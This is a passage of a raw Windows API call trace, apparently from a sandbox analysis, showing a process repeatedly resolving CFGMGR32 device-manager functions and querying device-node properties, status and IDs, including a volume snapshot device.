lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x33199c41, dwHighDateTime=0x1d9eb0c)) [0200.215] SetEvent (hEvent=0x248) returned 1 [0200.215] SetEvent (hEvent=0x248) returned 1 [0200.216] free (_Block=0x20abc27cb20) [0200.216] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x21, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0200.216] malloc (_Size=0x48) returned 0x20abc27cb20 [0200.216] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x33199c41, dwHighDateTime=0x1d9eb0c)) [0200.217] SetEvent (hEvent=0x248) returned 1 [0200.218] SetEvent (hEvent=0x248) returned 1 [0200.219] free (_Block=0x20abc27cb20) [0200.386] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x21, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0200.386] malloc (_Size=0x48) returned 0x20abc27cb20 [0200.386] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x3333d487, dwHighDateTime=0x1d9eb0c)) [0200.386] SetEvent (hEvent=0x248) returned 1 [0200.391] malloc (_Size=0xd8) returned 0x20abc2867b0 [0200.399] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0200.399] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0200.399] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0200.399] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0200.400] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0200.400] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0200.400] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0200.400] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0200.400] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0200.400] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0200.401] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0200.401] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0200.401] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0200.401] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0200.401] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0200.401] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0200.402] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0200.402] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0200.402] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0200.402] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0200.402] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0200.402] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0200.403] malloc (_Size=0x18) returned 0x20abc281dc0 [0200.403] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0200.406] malloc (_Size=0x48) returned 0x20abc27cb20 [0200.406] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x33370753, dwHighDateTime=0x1d9eb0c)) [0200.406] SetEvent (hEvent=0x248) returned 1 [0200.413] malloc (_Size=0xd8) returned 0x20abc2867b0 [0200.413] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0200.413] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0200.414] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0200.414] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0200.414] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0200.414] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0200.414] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0200.414] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0200.415] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0200.415] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0200.415] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0200.415] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0200.415] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0200.415] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0200.416] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0200.416] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0200.416] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0200.416] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0200.416] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0200.416] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0200.417] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0200.417] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0200.417] malloc (_Size=0x18) returned 0x20abc281a00 [0200.417] CM_Get_Device_IDA (in: dnDevInst=0x22, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="STORAGE\\VOLUMESNAPSHOT\\HARDDISKVOLUMESNAPSHOT1") returned 0x0 [0200.417] malloc (_Size=0x48) returned 0x20abc27cb20 [0200.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x3338a0de, dwHighDateTime=0x1d9eb0c)) [0200.417] SetEvent (hEvent=0x248) returned 1 [0200.420] malloc (_Size=0xd8) returned 0x20abc2867b0 [0200.421] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0200.421] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0200.421] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0200.421] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0200.421] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0200.421] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0200.421] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0200.422] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0200.422] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0200.422] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0200.422] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0200.422] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0200.423] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0200.423] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0200.423] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0200.423] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0200.423] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0200.423] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0200.423] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0200.424] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0200.424] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0200.424] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0200.424] malloc (_Size=0x18) returned 0x20abc281ba0 [0200.424] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0200.425] malloc (_Size=0x30) returned 0x20abc281650 [0200.425] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc281650, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc281650, pulLength=0x2dc22fd3f8) returned 0x0 [0200.426] free (_Block=0x20abc281650) [0200.426] malloc (_Size=0x48) returned 0x20abc27cf80 [0200.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x333afe10, dwHighDateTime=0x1d9eb0c)) [0200.426] SetEvent (hEvent=0x248) returned 1 [0200.428] malloc (_Size=0x18) returned 0x20abc281f20 [0200.428] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0200.428] free (_Block=0x20abc281f20) [0200.429] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c070 [0200.429] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0200.429] SafeArrayGetLBound (in: psa=0x20abba7ffd0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0200.429] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0200.429] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0200.429] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0200.429] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0200.429] SafeArrayGetElemsize (psa=0x20abba7ffd0) returned 0x8 [0200.429] SafeArrayGetElement (in: psa=0x20abba7ffd0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0200.429] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4023b0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0200.430] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0200.430] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c070) returned 1 [0200.431] malloc (_Size=0xd8) returned 0x20abc2867b0 [0200.431] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0200.431] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0200.431] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0200.431] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0200.432] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0200.432] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0200.432] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0200.432] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0200.432] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0200.432] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0200.432] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0200.432] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0200.433] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0200.433] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0200.433] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0200.433] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0200.433] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0200.433] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0200.433] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0200.434] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0200.434] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0200.434] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0200.434] malloc (_Size=0x18) returned 0x20abc281ac0 [0200.434] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0200.434] malloc (_Size=0x48) returned 0x20abc27cf80 [0200.434] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x333afe10, dwHighDateTime=0x1d9eb0c)) [0200.435] SetEvent (hEvent=0x248) returned 1 [0200.437] malloc (_Size=0xd8) returned 0x20abc2867b0 [0200.437] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0200.746] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0200.746] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0200.747] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0200.747] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0200.747] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0200.747] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0200.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0200.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0200.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0200.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0200.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0200.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0200.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0200.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0200.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0200.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0200.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0200.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0200.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0200.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0200.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0200.750] malloc (_Size=0x18) returned 0x20abc281dc0 [0200.751] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0200.756] malloc (_Size=0x48) returned 0x20abc27cb20 [0200.756] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x336d0dbf, dwHighDateTime=0x1d9eb0c)) [0200.757] SetEvent (hEvent=0x248) returned 1 [0200.758] SetEvent (hEvent=0x248) returned 1 [0200.759] free (_Block=0x20abc27cb20) [0200.759] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0200.759] malloc (_Size=0x48) returned 0x20abc27cb20 [0200.759] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x336d0dbf, dwHighDateTime=0x1d9eb0c)) [0200.760] SetEvent (hEvent=0x248) returned 1 [0200.761] SetEvent (hEvent=0x248) returned 1 [0200.762] free (_Block=0x20abc27cb20) [0200.762] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0200.764] malloc (_Size=0x48) returned 0x20abc27cb20 [0200.764] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x336d0dbf, dwHighDateTime=0x1d9eb0c)) [0200.764] SetEvent (hEvent=0x248) returned 1 [0200.765] SetEvent (hEvent=0x248) returned 1 [0200.766] free (_Block=0x20abc27cb20) [0200.766] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0200.766] malloc (_Size=0x48) returned 0x20abc27cb20 [0200.766] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x336f790c, dwHighDateTime=0x1d9eb0c)) [0200.767] SetEvent (hEvent=0x248) returned 1 [0200.769] SetEvent (hEvent=0x248) returned 1 [0200.770] free (_Block=0x20abc27cb20) [0200.770] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0200.772] malloc (_Size=0x48) returned 0x20abc27cf80 [0200.772] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x336f790c, dwHighDateTime=0x1d9eb0c)) [0200.772] SetEvent (hEvent=0x248) returned 1 [0200.773] SetEvent (hEvent=0x248) returned 1 [0200.774] free (_Block=0x20abc27cf80) [0200.774] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x22, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0200.774] malloc (_Size=0x48) returned 0x20abc27cf80 [0200.774] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x336f790c, dwHighDateTime=0x1d9eb0c)) [0200.775] SetEvent (hEvent=0x248) returned 1 [0200.776] SetEvent (hEvent=0x248) returned 1 [0200.777] free (_Block=0x20abc27cf80) [0200.777] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x22, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0200.777] malloc (_Size=0x48) returned 0x20abc27cf80 [0200.777] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x336f790c, dwHighDateTime=0x1d9eb0c)) [0200.778] SetEvent (hEvent=0x248) returned 1 [0200.779] SetEvent (hEvent=0x248) returned 1 [0200.779] free (_Block=0x20abc27cf80) [0200.779] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x22, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0200.779] malloc (_Size=0x48) returned 0x20abc27cf80 [0200.779] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x336f790c, dwHighDateTime=0x1d9eb0c)) [0200.780] SetEvent (hEvent=0x248) returned 1 [0200.912] malloc (_Size=0xd8) returned 0x20abc2867b0 [0200.912] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0200.912] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0200.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0200.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0200.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0200.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0200.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0200.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0200.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0200.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0200.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0200.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0200.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0200.915] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0200.915] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0200.915] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0200.915] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0200.915] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0200.916] GetProcAddress 